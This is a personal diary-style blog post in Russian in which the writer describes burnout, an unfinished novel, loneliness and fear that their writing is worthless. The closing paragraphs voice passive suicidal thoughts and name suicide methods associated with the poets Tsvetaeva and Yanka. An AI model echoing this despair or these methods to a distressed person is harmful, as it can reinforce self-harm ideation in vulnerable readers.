Я бы успевал все. Я бы дописал свой "Рейх". Я бы переписал "Монохромник". Я бы написал третью книгу (где вдохновение?..)
Я бы писал песни и стихи, пиарил и работал еще больше. Я бы пахал на двух, на трех работах!

Я дышал своей книгой, мне ее так не хватает - а я сижу на работе, где мне капитально не доплачивают из-за больничного, и хоть работа мне нравится, но ее слишком много. И слишком мало денег. И слишком много усталости.
Дома не отдохнуть, дома не написать ничего.
Я не успеваю, я просто ничего не успеваю.

Будь добр, работай, будь добр, пиши стихи, общайся, ходи на концерты, выматывайся, плати, зарабатывай, худей, и не забудь вытаскивать себя из зеленой, болотного цвета тоски по чуду. Survival mode on - выживай и созидай, береги нервы и не срывайся, и находи время на поспать и на людей, которые тебя зовут всюду и хотят с тобой общаться.
Я не успеваю.

Иногда мне кажется, что я никогда не закончу свою книгу. Что, если закончу, меня пошлют с ней куда подальше и она так и останется на уровне фанфика-ориджинала. Что я замахиваюсь на слишком высокие цели и падать будет больнее.
Что я всегда останусь один, что мое творчество пустое и не нужное никому. Что я закончу жизнь как те неудачливые поэты - сопьюсь. Или повешусь, как Цветаева. Или выброшусь из окна, как Янка. Или выстрелю себе в голову и оставлю всех гадать, кто это сделал.
В одиночестве, потому что нет у меня жизни, нет у меня любви, нет ничего.

Это полная пустота рассасывает мягкие ткани внутренних органов. Это ком в горле, который не проходит - я сам выбрал себе эту жизнь, эту сущность?

А самое горькое, после смерти не будет ничего. Я просто умру. И черви съедят мое тело.

@музыка: Sting – Shape of my heart

@темы: survival mode, страхи, слив состояния, house-not-home, where good boys go to die, it's a huge shit sandwich